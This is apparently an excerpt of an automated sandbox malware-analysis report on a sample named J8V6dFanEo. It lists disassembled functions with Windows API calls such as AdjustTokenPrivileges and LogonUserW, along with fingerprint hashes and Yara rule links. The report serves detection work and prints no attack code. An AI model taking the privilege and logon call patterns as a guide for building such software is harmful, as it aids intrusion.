Part of subcall function 00EE0DB6: std::exception::exception.LIBCMT ref: 00EE0DEC
Part of subcall function 00EE0DB6: __CxxThrowException@8.LIBCMT ref: 00EE0E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F1882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F18858
GetLastError.KERNEL32 ref: 00F18865

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: cff02498c73837016fda549c40cef82c91fdf3936c4046c25f03ddb0f4571dcb
Instruction ID: 4ed624278bdb46f0ecdcfae9a0c9366d09a0f94f3b2b1c027f6083b29123c4e8
Opcode Fuzzy Hash: cff02498c73837016fda549c40cef82c91fdf3936c4046c25f03ddb0f4571dcb
Instruction Fuzzy Hash: 1F11BFB2804209AFE718DFA4DC85D6BB7F8EB45320B20852EF45593201EB70BC818B60

Function 00F1874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00F18774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00F1878B
FreeSid.ADVAPI32(?), ref: 00F1879B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 2e0f7dfc6e188f5690afd71f97425b00a4b101f6e1fc9888727f6ab92985f49f
Instruction ID: a8f3089816b7cb65c505bc84c3957b247e46c72eeea7db538463797988d31b7d
Opcode Fuzzy Hash: 2e0f7dfc6e188f5690afd71f97425b00a4b101f6e1fc9888727f6ab92985f49f
Instruction Fuzzy Hash: B8F04F7591130CBFEF00DFF4DD89AAEB7BCEF08311F104469A905E2181D6715A489B50

Function 00F24C7F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00F24CB3

Strings

DOWN, xrefs: 00F24C98

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: mouse_event
String ID: DOWN
API String ID: 2434400541-711622031
Opcode ID: e9aa9522bab2ef59d0b5aed2276c2e10b1655645e6fc786f0238ff6d1ca62435
Instruction ID: 611edddeabf0dfd12fab0897757c92a82b71cca087fae9b41771db15608e4ec8
Opcode Fuzzy Hash: e9aa9522bab2ef59d0b5aed2276c2e10b1655645e6fc786f0238ff6d1ca62435
Instruction Fuzzy Hash: 41E046362ED73138B9442929BC02EB7128C8B22331B10020AFC18E94C1EE807C8274BA

Function 00F2C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00F2C6FB
FindClose.KERNEL32(00000000), ref: 00F2C72B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 86778c3fbe9a2b830f309ad07b0098d5365292ccdbf090395bc778620cdca7e9
Instruction ID: 5edc8934fed1a8da5e2d7f72b4cdb46ffd34961fe86b893339265ac0d72871d2
Opcode Fuzzy Hash: 86778c3fbe9a2b830f309ad07b0098d5365292ccdbf090395bc778620cdca7e9
Instruction Fuzzy Hash: 0C118E766006049FDB10DF29D849A2AF7E9FF85324F00851DF9A9D7291DB30A805DB81

Function 00F2A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00F39468,?,00F4FB84,?), ref: 00F2A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00F39468,?,00F4FB84,?), ref: 00F2A0A9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 12b9fda16206da54433d889523f7e0451d9222d420e7f7d64d244ebbc2b79640
Instruction ID: 978cc404c9b53b4a5fe769c22d9dbca159f4a9fda81ef7a578348e600b982f50
Opcode Fuzzy Hash: 12b9fda16206da54433d889523f7e0451d9222d420e7f7d64d244ebbc2b79640
Instruction Fuzzy Hash: F1F0823650522DABDB219FA4DC48FEA776CBF09361F008265F909D6181D6709A44DBA1

Function 00F181CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00F18309), ref: 00F181E0
CloseHandle.KERNEL32(?,?,00F18309), ref: 00F181F2

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 1bd92185b9efca0a52a9a6948bdc6658bd35f4793136b10efbf281fb99846645
Instruction ID: 75367aa2f81fb08874a048b9343b1a2a20f0e7bb43bf8604a6861ccd9a4a6ede
Opcode Fuzzy Hash: 1bd92185b9efca0a52a9a6948bdc6658bd35f4793136b10efbf281fb99846645
Instruction Fuzzy Hash: B7E0EC76010614AFEB262B65EC09D777BEAEF04360714983DF8AA94470DB62ACD1EB10

Function 00EEA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00EE8D57,?,?,?,00000001), ref: 00EEA15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00EEA163

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57b9fff9170dcf26d02d71885df27a44b68d152523c9efbb35938cdb6baedf20
Instruction ID: cd2684d1a78e2249e312cd68fea085466ef87efd38bcc0cf798b7819528359e1
Opcode Fuzzy Hash: 57b9fff9170dcf26d02d71885df27a44b68d152523c9efbb35938cdb6baedf20
Instruction Fuzzy Hash: B1B0923505420CABCA002F91EC09FA83F68EB56AA2F404020FA0D84060CB625454AA91

Function 00EEF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ccaaae903eedf9e78ea8868f1296c5ee70db8721d0865e2dee2b9a821f0625f
Instruction ID: 55a08bb46c15d5f989c00c12c98075ec8c85ca69a425903e045b76a279cb0b8a
Opcode Fuzzy Hash: 5ccaaae903eedf9e78ea8868f1296c5ee70db8721d0865e2dee2b9a821f0625f
Instruction Fuzzy Hash: 64323521D29F494DD7239635D832335A288AFF73C9F15E737E81AB59AAEB29C4835100

Function 00EF242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a493abc08c81439ec3ce56d377d9237d9a45d77621334d9d6a52da0e2bfb27a9
Instruction ID: df3ef1d019ba996e893fd5e0ca505fdcaa245069f83dd5cad09882e77458eb5f
Opcode Fuzzy Hash: a493abc08c81439ec3ce56d377d9237d9a45d77621334d9d6a52da0e2bfb27a9
Instruction Fuzzy Hash: 30B10230E2AF454DD32396398831336BA5CAFBB2CAF51D71BFD2674D22EB2285935141

Function 00F28889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00F2889B

Part of subcall function 00EE520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00F28F6E,00000000,?,?,?,?,00F2911F,00000000,?), ref: 00EE5213
Part of subcall function 00EE520A: __aulldiv.LIBCMT ref: 00EE5233

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 87d1e532bf004a44e4d8beab89a97da68812e4a99cdf73ff64098b839dd84227
Instruction ID: dcb017d3a7f6b51b86c5cb580fb3287a9905eff05da186a6b020964fafc8c19e
Opcode Fuzzy Hash: 87d1e532bf004a44e4d8beab89a97da68812e4a99cdf73ff64098b839dd84227
Instruction Fuzzy Hash: 1A21B732A355108BC729CF25D841A91B3E1EFA5321F688E6CD1F5CF2D0CA34B905DB54

Function 00F187B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00F18389), ref: 00F187D1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: d7df4113e68e48d09df7ccd4c1d559331cdbe8800a849094cd05b47f41824473
Instruction ID: b0095f5b02b85f4a5e3aa5813d3f11ff9867e0fb67867fb599d156f51798173e
Opcode Fuzzy Hash: d7df4113e68e48d09df7ccd4c1d559331cdbe8800a849094cd05b47f41824473
Instruction Fuzzy Hash: 41D05E3226050EABEF018EA8DC01EAF3B69EB04B01F408111FE15C50A1C775D835AB60

Function 00EEA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00EEA12A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0dcc5f2cccce1d9ab21058f2c46bf93ad267f7eac221c657d3f107639fd3acdd
Instruction ID: 2787f0ed82edd21945a292917c57ca5c31be515d6a5b592333119c7a54b3b72e
Opcode Fuzzy Hash: 0dcc5f2cccce1d9ab21058f2c46bf93ad267f7eac221c657d3f107639fd3acdd
Instruction Fuzzy Hash: 89A0113000020CAB8A002F82EC088A8BFACEA02AA0B008020F80C800228B32A820AA80

Function 00ED8808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98848af307c74756287dcdb4bc49f08220220f3990afa70f3eac603fa3957036
Instruction ID: ae6484c24b91aba6a4620f06d89ffecaa4209e6e38d417073ba4a57cc30599f1
Opcode Fuzzy Hash: 98848af307c74756287dcdb4bc49f08220220f3990afa70f3eac603fa3957036
Instruction Fuzzy Hash: EE225731904146CBCF388B64C5A47BC77A1FBC1718F68906BD89AAB692DB70DDC2E741

Function 00EE21C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 6398348a2dac34a92f0e9eeb50fc9beffd2cb88f8a307f29a320aca3bc9c1b7d
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: E5C18A322051D709DF2D4A3B883403EFBA55EA27B631A279DD5B3EB1D4EE20C9B5D610

Function 00EE25FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 74e5bd55a6fe265aae52abb96266ae24bef2d05a73a212b3c9a476764a8d9d5b
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 5BC197322051D709DF2D4A3BC83403EBBA55EA27B631A27ADD4B2EB1D5EE20C975D610

Function 00EE1978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: a24a63e51abed358b7acbc90a1e474d30eb2410ae94e94b3a0b7685470bd626a
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 4AC173322051D749DF2D463B887413EFAA15EA27B631A27EDD4B2EB1C4EE30C9B5D610

Function 01631F38 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 66fe4e7b9296278f46e4750ae93065d51f8864e3256eba23eaca699c99f10920
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: AD41C271D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB80

Function 01631DC8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: ad651ef18232a2921355817560fec4d6de8ba4d12e1712cdb7ccf89da25c973f
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: A1019278A00109EFCB44DF98C5909AEF7F6FB89310F208599D819A7341D731AE41DB90

Function 01631E28 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 2c58c39d8e4e690c025bebe57d0d5abcde82d014d891f12740cdda75298df948
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 6401A478A01209EFCB44DF98C5909AEF7F6FF88310F208699D809A7341D731AE51DB90

Function 016307A8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00F37806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00F3785B
DeleteObject.GDI32(00000000), ref: 00F3786D
DestroyWindow.USER32 ref: 00F3787B
GetDesktopWindow.USER32 ref: 00F37895
GetWindowRect.USER32(00000000), ref: 00F3789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00F379DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00F379ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37A35
GetClientRect.USER32(00000000,?), ref: 00F37A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00F37A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37ABB
GlobalLock.KERNEL32(00000000), ref: 00F37AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37AD3
GlobalUnlock.KERNEL32(00000000), ref: 00F37ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37AE3
GlobalFree.KERNEL32(00000000), ref: 00F37AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00F52CAC,00000000), ref: 00F37B16
GlobalFree.KERNEL32(00000000), ref: 00F37B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00F37B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00F37B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00F37D7A

Strings

static, xrefs: 00F37A75, 00F37BCC
AutoIt v3, xrefs: 00F37A2D
, xrefs: 00F37D00
DISPLAY, xrefs: 00F37BDD

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

